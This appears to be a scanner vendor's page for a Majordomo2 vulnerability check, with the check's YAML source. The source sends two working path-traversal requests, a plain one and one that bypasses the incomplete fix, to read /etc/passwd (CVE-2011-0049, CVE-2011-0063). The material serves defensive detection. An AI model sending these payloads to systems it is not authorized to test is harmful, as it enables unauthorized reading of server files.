Majordomo2 — 1 vulnerability check
noctis ships 1 vulnerability check for Majordomo2, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Majordomo2 mj_wwwusr help directory traversal file read
| CVE | CVE-2011-0049, CVE-2011-0063 |
|---|---|
| Severity | medium · CVSS 5.0 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/majordomo2/majordomo2-help-traversal.yaml |
Fingerprints Majordomo2's mj_wwwusr, then requests /etc/passwd through a help-parameter ../ traversal (and a filter-bypass variant) and reports when its root entry comes back without authentication.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/mj_wwwusr HTTP/1.0 - Checks
fp.bannerfor>Majordomo - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../e… - Checks
plain.bannerfor\AHTTP/1\.[01] 200[\s\S]*root:[^:\n]*:0:0:→ finding QoD 75: Majordomo2 served /etc/passwd (HTTP 200 + root passwd line) without authentication via GET …/mj_wwwusr?func=help&extra=/../../../../../../.… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=./..././..././..././..././… - Checks
bypass.bannerfor\AHTTP/1\.[01] 200[\s\S]*root:[^:\n]*:0:0:→ finding QoD 75: Majordomo2 served /etc/passwd (HTTP 200 + root passwd line) without authentication via GET …/mj_wwwusr?func=help&extra=./..././…/.../etc/pa…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2011-0049
- https://nvd.nist.gov/vuln/detail/CVE-2011-0063
- https://seclists.org/fulldisclosure/2011/Mar/98
- https://bugzilla.mozilla.org/show_bug.cgi?id=631307
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2011/CVE-2011-0049.yaml
Feed source — tests/vulnerabilities/majordomo2/majordomo2-help-traversal.yaml
uid: c970df52-8331-4cca-9429-ebc215801e51
name: "Majordomo2 mj_wwwusr help directory traversal file read (CVE-2011-0049 / CVE-2011-0063)"
description: "Fingerprints Majordomo2's mj_wwwusr, then requests /etc/passwd through a help-parameter ../ traversal (and a filter-bypass variant) and reports when its root entry comes back without authentication."
cves: [CVE-2011-0049, CVE-2011-0063]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [majordomo2, mailing-list, lfi, path-traversal, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2011-0049"
- "https://nvd.nist.gov/vuln/detail/CVE-2011-0063"
- "https://seclists.org/fulldisclosure/2011/Mar/98"
- "https://bugzilla.mozilla.org/show_bug.cgi?id=631307"
- "OpenVAS NASL 2011/gb_majordomo2_dir_trav_vuln.nasl (GPL-2.0-only)"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2011/CVE-2011-0049.yaml"
# Ported from OpenVAS/Greenbone NASL 2011/gb_majordomo2_dir_trav_vuln.nasl (GPL-2.0-only).
#
# Majordomo2's _list_file_get() (lib/Majordomo.pm) joins the `extra` argument of the `help`
# command onto the help-file directory unchecked, so mj_wwwusr?func=help&extra=<path> reads any
# file the web user can read. Two CVEs, two builds, two payloads:
# - CVE-2011-0049 (builds before the first fix): plain `/../../…/etc/passwd`. This is the NASL's
# and Nuclei's payload.
# - CVE-2011-0063 (builds carrying the incomplete fix `s!/?\.\./?!!g`, up to 20110203): that
# regex removes `/../` pieces, so `./.../` collapses to `../` (NSOADV-2011-003). The plain
# payload is neutralised there, so the NASL and Nuclei miss these builds. Improvement over
# OpenVAS: this feed also sends the bypass and reports CVE-2011-0063 when it works.
# The two payloads are exclusive: on an unfiltered build `.../` is a literal directory name and the
# bypass resolves nowhere, and on the incomplete-fix build the plain payload is stripped. Each
# finding claims only the CVE its own payload proved. The fixed build (`s!\.\.!!g`) defeats both.
#
# Faithful to the NASL: the probe only runs where GET <dir>/mj_wwwusr shows `>Majordomo`; the NASL
# walks "/" + http_cgi_dirs, here a short list of the usual install dirs. Proof = a real
# world-readable /etc/passwd (HTTP 200 + root passwd line) read without authentication — benign,
# read-only, nothing written. Traversal is sent verbatim with tcp_connect (reqwest would rewrite
# it). Tagged `intrusive` + `category: file-read` so operators can exclude it.
steps:
- id: init-found
action: set_var
var_name: found
var_value: false
- id: init-is-mj
action: set_var
var_name: is_mj
var_value: false
loop:
var: dir
over: ["/cgi-bin", "", "/majordomo", "/cgi-bin/majordomo"]
- id: fingerprint
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/mj_wwwusr HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
condition: "found != true"
store_as: fp
- id: fp-gate
action: match
source: fp.banner
pattern: '>Majordomo'
condition: "found != true"
on_match:
set_vars:
is_mj: true
# CVE-2011-0049 — the NASL's payload, unchanged.
- id: probe-plain
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
condition: "is_mj == true && found != true"
store_as: plain
- id: detect-plain
action: match
source: plain.banner
pattern: '\AHTTP/1\.[01] 200[\s\S]*root:[^:\n]*:0:0:'
condition: "is_mj == true && found != true"
on_match:
finding:
cves: [CVE-2011-0049]
confidence_delta: 0.55
qod: 75
evidence: "Majordomo2 served /etc/passwd (HTTP 200 + root passwd line) without authentication via GET {{dir}}/mj_wwwusr?func=help&extra=/../../../../../../../../etc/passwd — CVE-2011-0049"
set_vars:
found: true
# CVE-2011-0063 — bypass of the incomplete fix: `./.../` becomes `../` once the filter runs.
- id: probe-bypass
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=./..././..././..././..././..././..././..././.../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
condition: "is_mj == true && found != true"
store_as: bypass
- id: detect-bypass
action: match
source: bypass.banner
pattern: '\AHTTP/1\.[01] 200[\s\S]*root:[^:\n]*:0:0:'
condition: "is_mj == true && found != true"
on_match:
finding:
cves: [CVE-2011-0063]
confidence_delta: 0.55
qod: 75
evidence: "Majordomo2 served /etc/passwd (HTTP 200 + root passwd line) without authentication via GET {{dir}}/mj_wwwusr?func=help&extra=./..././…/.../etc/passwd, bypassing the incomplete CVE-2011-0049 fix — CVE-2011-0063"
set_vars:
found: true
stop: true